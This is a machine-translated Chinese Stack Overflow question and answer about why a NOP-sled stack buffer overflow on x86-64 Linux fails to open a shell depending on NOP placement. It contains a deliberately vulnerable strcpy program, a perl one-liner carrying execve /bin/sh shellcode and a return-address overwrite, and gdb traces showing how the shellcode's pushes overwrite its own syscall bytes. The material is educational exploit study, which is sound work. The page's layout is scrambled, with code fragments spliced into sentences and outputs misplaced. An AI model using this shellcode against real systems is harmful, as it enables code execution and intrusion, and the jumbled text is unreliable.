为什么NOP的数量似乎会影响Shellcode是否成功执行?

时间:2018-09-11 11:25:04

标签: linux assembly x86-64 buffer-overflow shellcode

我正在学习缓冲区溢出(仅出于教育目的),并且在尝试使用NOP滑动技术来执行Shellcode时,出现了一些有关为何有时不执行Shellcode的问题。

我编译了以下代码(使用Ubuntu 18.04.1 LTS(x86_64),gcc 7.3.0。,禁用ASLR)

$sum

如下:#include <stdio.h> #include <string.h> void function (char *args) { char buff[64]; printf ("%p\n", buff); strcpy (buff, args); } int main (int argc, char *argv[]) { function (argv[1]); } 。 然后,我想到了gcc -g -o main main.c -fno-stack-protector -z execstackgdb main

b 9

上面的字符串由run `perl -e '{ print "\x90"x15; \ print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \ print "\x90"x8; \ print "A"x8; \ print "\xb0\xd8\xff\xff\xff\x7f" }'` 组成。我根据NOPs + shellcode + NOPs + bytes to override the saved frame pointer + bytes to override the return address行的输出选择了返回地址。 (注意:明确地说,上面的十六进制代码在x86_x64中打开一个shell)。

从以下输出中可以看出,缓冲区按预期方式溢出。

printf

从这里继续确实打开了外壳。但是,当我使用以下内容作为参数时(唯一的区别是我将(gdb) x/80bx buff 0x7fffffffd8b0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x7fffffffd8b8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x48 0x7fffffffd8c0: 0x31 0xc0 0xb0 0x3b 0x48 0x31 0xd2 0x48 0x7fffffffd8c8: 0xbb 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x7fffffffd8d0: 0x11 0x48 0xc1 0xe3 0x08 0x48 0xc1 0xeb 0x7fffffffd8d8: 0x08 0x53 0x48 0x89 0xe7 0x4d 0x31 0xd2 0x7fffffffd8e0: 0x41 0x52 0x57 0x48 0x89 0xe6 0x0f 0x05 0x7fffffffd8e8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x7fffffffd8f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffd8f8: 0xb0 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00 (gdb) info frame 0 [...] rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0 [...] Saved registers: rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8 替换为\x90"x15,将\x90"x16替换为\x90"x8

\x90"x7

我知道

run `perl -e '{ print "\x90"x16; \
                print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
                print "\x90"x7; \
                print "A"x8; \
                print "\xb0\xd8\xff\xff\xff\x7f" }'` 

对我来说看起来不错(与上面相同,除了反映了参数的变化),尽管这次我继续

(gdb) x/80bx buff
0x7fffffffd8b0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8b8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8c0: 0x48    0x31    0xc0    0xb0    0x3b    0x48    0x31    0xd2
0x7fffffffd8c8: 0x48    0xbb    0x2f    0x62    0x69    0x6e    0x2f    0x73
0x7fffffffd8d0: 0x68    0x11    0x48    0xc1    0xe3    0x08    0x48    0xc1
0x7fffffffd8d8: 0xeb    0x08    0x53    0x48    0x89    0xe7    0x4d    0x31
0x7fffffffd8e0: 0xd2    0x41    0x52    0x57    0x48    0x89    0xe6    0x0f
0x7fffffffd8e8: 0x05    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8f0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd8f8: 0xb0    0xd8    0xff    0xff    0xff    0x7f    0x00    0x00

(gdb) info frame 0
 [...]
 rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
 [...]
 Saved registers:
  rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8

并且没有打开外壳。

  • 非法指令发生在第二个NOP块中。 shellclode位于NOP块之前。寄信人地址似乎已被成功覆盖,那么为什么不执行shellcode?
  • 第一个示例为什么起作用,而第二个示例却不起作用,唯一的区别是一个NOP在shellcode之前被删除,并在shellcode之后插入?

编辑: 我添加了反汇编的shellcode:

Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()

1 个答案:

答案 0 :(得分:3)

Jester的猜测是关于我的第二个示例的shellcode的push操作覆盖了shell代码远端的指令是正确的:

设置SIGILL并重复第二个示例后,在收到set disassemble-next-line on后检查当前指令

Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()
=> 0x00007fffffffd8ea:  ff  (bad)

以前位于此地址的NOP(90)已被ff覆盖。

这是怎么发生的?再次重复第二个示例,并另外设置b 8。此时,缓冲区尚未溢出。

(gdb) info frame 0
[...]
Saved registers:
  rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8

0x7fffffffd8f8开始的字节包含离开function函数后将返回的地址。然后,该0x7fffffffd8f8地址也将是堆栈将再次从中继续增长的地址(将存储前8个字节)。实际上,继续使用gdb并使用si命令表明,在shellcode的第一条push指令之前,堆栈指针指向0x7fffffffd900

(gdb) si
0x00007fffffffd8da in ?? ()
=> 0x00007fffffffd8da:  53      push   %rbx
(gdb) x/8x $sp
0x7fffffffd900: 0xf8    0xd9    0xff    0xff    0xff    0x7f    0x00    0x00 

...,当执行push指令时,字节存储在地址0x7fffffffd8f8中:

(gdb) si
0x00007fffffffd8db in ?? ()
=> 0x00007fffffffd8db:  48 89 e7        mov    %rsp,%rdi
(gdb) x/8bx $sp
0x7fffffffd8f8: 0x2f    0x62    0x69    0x6e    0x2f    0x73    0x68    0x00

继续此操作,您可以看到在shellcode的最后一条push指令之后,push的内容被压入了堆栈中的地址0x7fffffffd8e8

0x00007fffffffd8e3 in ?? ()
=> 0x00007fffffffd8e3:  57      push   %rdi
0x00007fffffffd8e4 in ?? ()
=> 0x00007fffffffd8e4:  48 89 e6        mov    %rsp,%rsi
(gdb) x/8bx $sp
0x7fffffffd8e8: 0xf8    0xd8    0xff    0xff    0xff    0x7f    0x00    0x00

但是,这也是syscall指令的最后一个字节的存储位置(有关第二个示例,请参见问题中的x/80bx buff输出)。因此,无法成功执行syscall和shellcode。在第一个示例中不会发生这种情况,因为这之后被压入堆栈的字节一直增长到shellcode的末尾(不覆盖字节):8个NOP("\x90"x8)的8个字节+ 8个字节保存的基本指针+返回地址的8个字节为3 push个操作提供了足够的空间。